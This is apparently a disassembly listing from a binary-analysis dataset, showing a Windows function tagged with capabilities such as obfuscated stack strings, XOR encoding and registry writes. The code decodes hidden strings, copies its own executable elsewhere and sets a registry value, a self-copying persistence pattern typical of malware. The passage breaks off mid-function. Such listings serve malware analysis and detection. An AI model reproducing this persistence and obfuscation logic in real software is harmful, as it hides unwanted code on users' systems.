Function at 0x415fb0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Create process on windows
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506483
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x460
push ebx
mov dword [ebp - 0x10], 0
xor ecx, ecx
push esi
push edi
mov dword [ebp - 0x21], 0x969190b8
mov dword [ebp - 0x1d], 0x979fb194
mov dword [ebp - 0x19], 0x8c988c
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x415ff3
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
jmp 0x416010
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416010
mov ebx, closesocket
sub ecx, edx
mov edx, dword [0x534d6c]
mov eax, ebx
sub eax, edx
cmp eax, ecx
jb 0x417d25
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x416043
mov eax, dword [0x534d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x21]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x238]
call fcn.004720e0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x22], 0x859385bb
mov dword [ebp - 0x1e], 0x9595ba99
mov dword [ebp - 0x1a], 0x8b9d9892
mov word [ebp - 0x16], 0x100
lea ecx, [ecx]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0xc
jb 0x416080
lea ecx, [ebp - 0x22]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416098
sub ecx, edx
mov eax, ebx
mov edx, dword [0x534d6c]
sub eax, edx
cmp eax, ecx
jb 0x417d2a
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x4160c6
mov eax, dword [0x534d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x22]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x268]
call fcn.004720e0
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x1f], 0x87a3b0bd
mov dword [ebp - 0x1b], 0x9e8e989c
mov word [ebp - 0x17], 0x8e
mov byte [ebp - 0x15], 1
lea ebx, [ebx]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 9
jb 0x416100
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416118
sub ecx, edx
mov eax, ebx
mov edx, dword [0x534d6c]
sub eax, edx
cmp eax, ecx
jb 0x417d2f
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x416146
mov eax, dword [0x534d5c]
push edx
push eax
push ecx
lea eax, [ebp - 0x1f]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1a8]
call fcn.004720e0
push 0x200
lea eax, [ebp - 0x468]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x468]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x220], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4161c0
sub ecx, edx
lea eax, [ebp - 0x468]
push ecx
push eax
lea ecx, [ebp - 0x220]
call fcn.00402ae0
mov ebx, 0x1e
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x22], 0xb6b5bab8
mov dword [ebp - 0x1e], 0xabaab8b4
mov dword [ebp - 0x1a], 0xbeaabcb8
mov word [ebp - 0x16], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0xc
jb 0x416205
lea eax, [ebp - 0x22]
mov byte [ebp - 0x15], 0
push eax
call fcn.004edf21
mov edx, eax
add esp, 4
test edx, edx
je 0x416772
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416246
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x48]
call fcn.00402ae0
lea eax, [ebp - 0xf]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x48]
mov word [ebp - 0xf], 0x5c
mov byte [ebp - 0xd], 0
call fcn.0046a480
cmp dword [ebp - 0x224], 0x10
lea ecx, [ebp - 0x238]
mov esi, dword [ebp - 0x228]
jb 0x41628e
mov ecx, dword [ebp - 0x238]
mov edx, dword [ebp - 0x34]
mov eax, edx
mov edi, dword [ebp - 0x38]
sub eax, edi
cmp esi, eax
ja 0x4162c9
lea eax, [esi + edi]
mov dword [ebp - 0x38], eax
lea ebx, [ebp - 0x48]
cmp edx, 0x10
jb 0x4162ad
mov ebx, dword [ebp - 0x48]
push esi
lea eax, [ebx + edi]
push ecx
push eax
call fcn.004e0f70
lea eax, [esi + ebx]
add esp, 0xc
mov byte [eax + edi], 0
mov ebx, 0x1e
jmp 0x4162db
push esi
push ecx
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x48]
push dword [ebp - 0x10]
push esi
call fcn.004706c0
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
jb 0x4162e7
mov esi, dword [ebp - 0x48]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x417d34
test esi, esi
je 0x416345
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416305
sub ecx, edx
je 0x416345
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x416336
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x416336
cmp eax, 0x20
je 0x416336
cmp eax, 0x45
je 0x416336
cmp eax, 0x24
jne 0x416345
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x416362
push 0x5374a0
call fcn.004de823
add esp, 4
lea ecx, [ebp - 0x48]
call fcn.00415a10
test al, al
je 0x41673a
mov dword [ebp - 0x2b], 0x928e90da
xor ecx, ecx
mov word [ebp - 0x27], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 4
jb 0x416371
lea ecx, [ebp - 0xf]
mov byte [ebp - 0x26], 0
mov word [ebp - 0xf], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0xd], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416393
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x38]
sub eax, edx
cmp eax, ecx
jb 0x417d3a
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
jb 0x4163ba
mov eax, dword [ebp - 0x48]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x118]
call fcn.004720e0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x238]
cmp dword [ebp - 0x224], 0x10
mov edi, dword [ebp - 0x228]
jb 0x4163ef
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x104]
mov eax, esi
mov edx, dword [ebp - 0x108]
sub eax, edx
cmp edi, eax
ja 0x416437
lea eax, [edx + edi]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x118]
cmp esi, 0x10
jb 0x41641d
mov eax, dword [ebp - 0x118]
push edi
lea esi, [eax + edx]
push ecx
push esi
call fcn.004e0f70
add esp, 0xc
mov byte [esi + edi], 0
lea ecx, [ebp - 0x118]
jmp 0x41644e
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x118]
push dword [ebp - 0x14]
push edi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov eax, dword [ecx]
mov dword [ebp - 0xa8], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0xa4], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0xa0], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x9c], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x98], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x94], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x2b]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xa8]
call fcn.0046a480
mov edx, eax
mov ebx, 0xfe
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x60], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x50], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x4c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x41655d
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416553
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3f
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x4165b6
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4165ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3f
push ecx
push edx
call fcn.004df511
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x108], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0x104], 0xf
mov ecx, esp
mov byte [ebp - 0x118], 0
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x416702
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
jb 0x4165fb
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x20c], 0x10
lea ecx, [ebp - 0x220]
jb 0x416610
mov ecx, dword [ebp - 0x220]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x416702
mov dword [ebp - 0x8f], 0x83909aa7
xor ecx, ecx
mov dword [ebp - 0x8b], 0x9e88988f
mov dword [ebp - 0x87], 0x9c97b0a0
mov dword [ebp - 0x83], 0x6c716e72
mov dword [ebp - 0x7f], 0x505a7162
mov dword [ebp - 0x7b], 0x646e6761
mov dword [ebp - 0x77], 0x4c527e7b
mov dword [ebp - 0x73], 0x76606365
mov dword [ebp - 0x6f], 0x7240617a
mov dword [ebp - 0x6b], 0x74736a6a
mov dword [ebp - 0x67], 0x6a4c4172
mov word [ebp - 0x63], 0x4e
mov byte [ebp - 0x61], 1
jmp 0x416690
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x2d
jb 0x416690
lea eax, [ebp - 0x10]
mov byte [ebp - 0x61], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x8f]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x416702
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
jb 0x4166d2
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x224], 0x10
lea ecx, [ebp - 0x238]
jb 0x4166e7
mov ecx, dword [ebp - 0x238]
push dword [ebp - 0x50]
push eax
push 1
push 0
push ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41673a
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416730
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d44
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x416772
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416768
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d49
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x25], 0xa2bab9b5
xor ecx, ecx
mov dword [ebp - 0x21], 0xa8a8bcab
mov dword [ebp - 0x1d], 0xb9b1afac
mov dword [ebp - 0x19], 0x474d49
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0xf
jb 0x416794
lea eax, [ebp - 0x25]
mov byte [ebp - 0x15], 0
push eax
call fcn.004edf21
mov edx, eax
add esp, 4
test edx, edx
je 0x417c13
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4167d5
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x48]
call fcn.00402ae0
lea eax, [ebp - 0xf]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x48]
mov word [ebp - 0xf], 0x5c
mov byte [ebp - 0xd], 0
call fcn.0046a480
cmp dword [ebp - 0x194], 0x10
lea ecx, [ebp - 0x1a8]
jb 0x416817
mov ecx, dword [ebp - 0x1a8]
mov esi, dword [ebp - 0x34]
mov eax, esi
mov edx, dword [ebp - 0x38]
sub eax, edx
mov edi, dword [ebp - 0x198]
cmp edi, eax
ja 0x416850
lea eax, [edi + edx]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x48]
cmp esi, 0x10
jb 0x41683c
mov eax, dword [ebp - 0x48]
push edi
lea esi, [eax + edx]
push ecx
push esi
call fcn.004e0f70
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x416868
push edi
push ecx
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x48]
push dword [ebp - 0x10]
push edi
call fcn.004706c0
mov edi, dword [ebp - 0x198]
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
jb 0x416874
mov esi, dword [ebp - 0x48]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x417d4e
test esi, esi
je 0x416928
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416896
sub ecx, edx
je 0x416928
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4168cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4168cb
cmp eax, 0x20
je 0x4168cb
cmp eax, 0x45
je 0x4168cb
cmp eax, 0x24
jne 0x416928
push 0x5374a0
call fcn.004de823
add esp, 4
mov bl, 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x14], 1
je 0x4169b7
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x4169b7
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4169ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d54
jmp 0x4169ad
push 0x5374a0
call fcn.004de823
add esp, 4
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
jb 0x416941
mov edx, dword [ebp - 0x48]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416970
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x178]
call fcn.00402ae0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x178]
or ebx, 1
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call fcn.00415a10
test al, al
jne 0x4168d8
xor bl, bl
jmp 0x4168da
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x417bdf
mov dword [ebp - 0x2b], 0x928e90da
xor ecx, ecx
mov word [ebp - 0x27], 0x100
mov edi, edi
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 4
jb 0x4169d0
lea ecx, [ebp - 0xf]
mov byte [ebp - 0x26], 0
mov word [ebp - 0xf], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0xd], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4169f2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x38]
sub eax, edx
cmp eax, ecx
jb 0x417d59
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
jb 0x416a19
mov eax, dword [ebp - 0x48]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x250]
call fcn.004720e0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0x10
jb 0x416a48
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x23c]
mov eax, edx
mov esi, dword [ebp - 0x240]
sub eax, esi
cmp edi, eax
ja 0x416a93
lea eax, [edi + esi]
mov dword [ebp - 0x240], eax
lea ebx, [ebp - 0x250]
cmp edx, 0x10
jb 0x416a76
mov ebx, dword [ebp - 0x250]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.004e0f70
lea eax, [edi + ebx]
add esp, 0xc
mov byte [eax + esi], 0
lea ecx, [ebp - 0x250]
jmp 0x416ab0
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x250]
push dword [ebp - 0x14]
push edi
call fcn.004706c0
mov edi, dword [ebp - 0x198]
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1ac], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x2b]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x1c0]
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x130], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x12c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x128], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x124], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x120], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x11c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0x10
jb 0x416bdb
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416bd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d5e
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x23c]
cmp ecx, 0x10
jb 0x416c34
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416c2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d5e
push ecx
push edx
call fcn.004df511
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x240], 0
lea eax, [ebp - 0x130]
mov dword [ebp - 0x23c], 0xf
mov ecx, esp
mov byte [ebp - 0x250], 0
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x417b38
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
jb 0x416c85
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x20c], 0x10
lea ecx, [ebp - 0x220]
jb 0x416c9a
mov ecx, dword [ebp - 0x220]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x417b38
push 0x104
lea eax, [ebp - 0x370]
mov dword [ebp - 0x10], 0x104
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0xc8], 0xd5a4bdd4
xor ecx, ecx
mov dword [ebp - 0xc4], 0x9889d6d8
mov dword [ebp - 0xc0], 0xaab1b5dc
mov dword [ebp - 0xbc], 0x235b4d52
mov dword [ebp - 0xb8], 0x276a772b
mov dword [ebp - 0xb4], 0x434d4040
mov dword [ebp - 0xb0], 0x5a5e49
mov byte [ebp - 0xac], 1
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 0x1b
jb 0x416d30
mov byte [ebp - 0xac], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0x83d9d5d6
mov dword [ebp - 0x19], 0xd8d996
mov byte [ebp - 0x15], 1
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x416d60
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0x2e], 0x83d9d5d6
mov dword [ebp - 0x2a], 0xd8d98a
mov byte [ebp - 0x26], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 7
jb 0x416d86
xor eax, eax
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416dc7
sub ecx, edx
lea eax, [ebp - 0x370]
push ecx
push eax
lea ecx, [ebp - 0x190]
call fcn.00402ae0
mov byte [ebp - 4], 0x11
xor ecx, ecx
mov dword [ebp - 0x100], 0x839e9687
mov dword [ebp - 0xfc], 0x88918a99
mov dword [ebp - 0xf8], 0x8d9dd2dc
mov dword [ebp - 0xf4], 0x66766065
mov dword [ebp - 0xf0], 0x27602a24
mov dword [ebp - 0xec], 0x2b5f5b27
mov word [ebp - 0xe8], 0x2e
mov byte [ebp - 0xe6], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x100], al
inc ecx
cmp ecx, 0x19
jb 0x416e35
lea eax, [ebp - 0x190]
mov byte [ebp - 0xe6], 0
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0xe4]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x2e]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x160], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x15c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x158], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x154], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x150], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x14c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0x10
mov esi, dword [ebp - 0x120]
jb 0x416f04
mov ecx, dword [ebp - 0x130]
mov edx, dword [ebp - 0x14c]
mov eax, edx
mov ebx, dword [ebp - 0x150]
sub eax, ebx
cmp esi, eax
ja 0x416f56
lea eax, [ebx + esi]
mov dword [ebp - 0x150], eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x14], eax
cmp edx, 0x10
jb 0x416f38
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x14], eax
push esi
add eax, ebx
push ecx
push eax
call fcn.004e0f70
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
add esp, 0xc
add eax, esi
mov byte [eax + ebx], 0
jmp 0x416f6d
push esi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x160]
push dword [ebp - 0x14]
push esi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1dc], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x1d]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x1f0]
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov ecx, dword [edx]
mov dword [ebp - 0x148], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x144], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x140], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x13c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x138], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x134], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0x10
jb 0x417073
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x134]
mov eax, edx
mov esi, dword [ebp - 0x138]
sub eax, esi
cmp edi, eax
ja 0x4170be
lea eax, [edi + esi]
mov dword [ebp - 0x138], eax
lea ebx, [ebp - 0x148]
cmp edx, 0x10
jb 0x4170a1
mov ebx, dword [ebp - 0x148]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.004e0f70
lea eax, [edi + ebx]
add esp, 0xc
mov byte [eax + esi], 0
lea ecx, [ebp - 0x148]
jmp 0x4170db
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x148]
